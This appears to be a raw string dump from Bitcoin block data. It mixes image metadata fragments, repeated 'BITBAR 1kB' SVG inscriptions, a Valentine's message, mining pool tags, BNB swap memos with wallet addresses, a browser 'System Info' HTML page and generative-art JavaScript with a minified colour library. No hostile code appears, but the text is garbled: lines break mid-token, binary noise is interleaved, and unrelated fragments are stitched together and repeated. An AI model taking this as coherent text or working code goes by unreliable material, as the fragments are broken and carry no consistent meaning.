orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:3EE466ECA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:3EE466EDA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3EE466EAA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:3EE466EBA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:9411A09EA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:9411A09FA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9411A09CA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:9411A09DA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>u
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:4B5CFE39A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:4B5CFE3AA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4B5CFE37A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:4B5CFE38A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:96A2B412A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:96A2B413A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:96A2B410A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:96A2B411A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:7656AB6FA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:7656AB70A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7656AB6DA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:7656AB6EA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
((((((((((((((((((((((((((((((((((((((((((((((((((
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:33DD0654A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:33DD0655A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:33DD0652A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:33DD0653A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^c
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
application/octet-stream
Mined by AntPool805`
FjDOUT:13C49D6732DA7AB908D5057CEA0A993D8768042772FEED11A44BDF670ACFFD84
CjA=:BNB.BNB:bnb173gxmwhff2tnm30npuwmwslzcjnay8a9kfjs89:8828684:te:0
HjF=:BNB.BTCB-1DE:bnb1yp60uuajwt7mcuwssa2pc35hs9l9glrz4wd7yx:1679054:te:0
,http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshopM
 2021 Macintosh" xmpMM:InstanceID="xmp.iid:101EA3F9A41711ED8B96B6A71BBA6C76" xmpMM:DocumentID="xmp.did:101EA3FAA41711ED8B96B6A71BBA6C76"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:101EA3F7A41711ED8B96B6A71BBA6C76" stRef:documentID="xmp.did:101EA3F8A41711ED8B96B6A71BBA6C76"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
,http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshopM
 2021 Macintosh" xmpMM:InstanceID="xmp.iid:101EA3F9A41711ED8B96B6A71BBA6C76" xmpMM:DocumentID="xmp.did:101EA3FAA41711ED8B96B6A71BBA6C76"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:101EA3F7A41711ED8B96B6A71BBA6C76" stRef:documentID="xmp.did:101EA3F8A41711ED8B96B6A71BBA6C76"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
,http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshopM
 2021 Macintosh" xmpMM:InstanceID="xmp.iid:101EA3F9A41711ED8B96B6A71BBA6C76" xmpMM:DocumentID="xmp.did:101EA3FAA41711ED8B96B6A71BBA6C76"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:101EA3F7A41711ED8B96B6A71BBA6C76" stRef:documentID="xmp.did:101EA3F8A41711ED8B96B6A71BBA6C76"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
4+%+44444464444444444444444444444444444444444444444444
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
$3$$$3E3333EWEEEEEWiWWWWM
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
text/plain;charset=utf-8
My dearest Vivian, on this coming Valentine's Day, I want the world to know how much I love you. You, my sweet and beautiful Valentine, make every day brighter and more meaningful just by being in my life. I cherish you and Luna more than words can express. With all my heart, David.h!
3@65@63@64@64w$3?62SP
3*$*33335353353333433333333333333333333333333333333333
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
c/Foundry USA Pool #dropgold/
@j>=:BNB.BNB:bnb1hw8d8ze40agn4snk9828vl6qc5qprhz66sed3a:584707::0
Bj@=:BNB.BNB:bnb1xtg6uncz5yy3r2wd4jx0mekqluc9700g4y4xwg:15429632::0
FjDOUT:D63CB8183F485F18D15455EB5E49324D9F0478CAEA74C876CE5490CAD9E479FE
text/html;charset=utf-8
		<title>System Info</title>
				font-family: sans;
				font-size: 13px;
		<script src="content/379b18942989c8458fe92fc89e5f32d62c9f8be520779e293908df2b58bcd2dai0"></script>
			document.body.innerHTML = [
				'<strong>Browser</strong> ' + System.browser,
				'<strong>OS</strong> ' + System.os,
				'<strong>Canvas</strong> ' + System.support.canvas,
				'<strong>Local storage</strong> ' + System.support.localStM
				'<strong>File API</strong> ' + System.support.file,
				'<strong>FileSystem API</strong> ' + System.support.fileSystem,
				'<strong>RequestAnimationFrame</strong> ' + System.support.requestAnimationFrame,
				'<strong>Session storage</strong> ' + System.support.sessionStorage,
				'<strong>SVG</strong> ' + System.support.svg,
				'<strong>WebGL</strong> ' + System.support.webgl,
				'<strong>Worker</strong> ' + System.support.worker
			].join( '<br />' );
text/plain;charset=utf-8
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
LnOpportunity is missed by most people because it is dressed in overalls and looks like work.
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>876</exif:PixelYDimension>
         <exif:PixelXDimension>875</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
c/Foundry USA Pool #dropgold/
6j4ion:6.QmUcXRgcQ4sPBujTuvHXo6DMR542GvXnFrAMov946LoquA
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
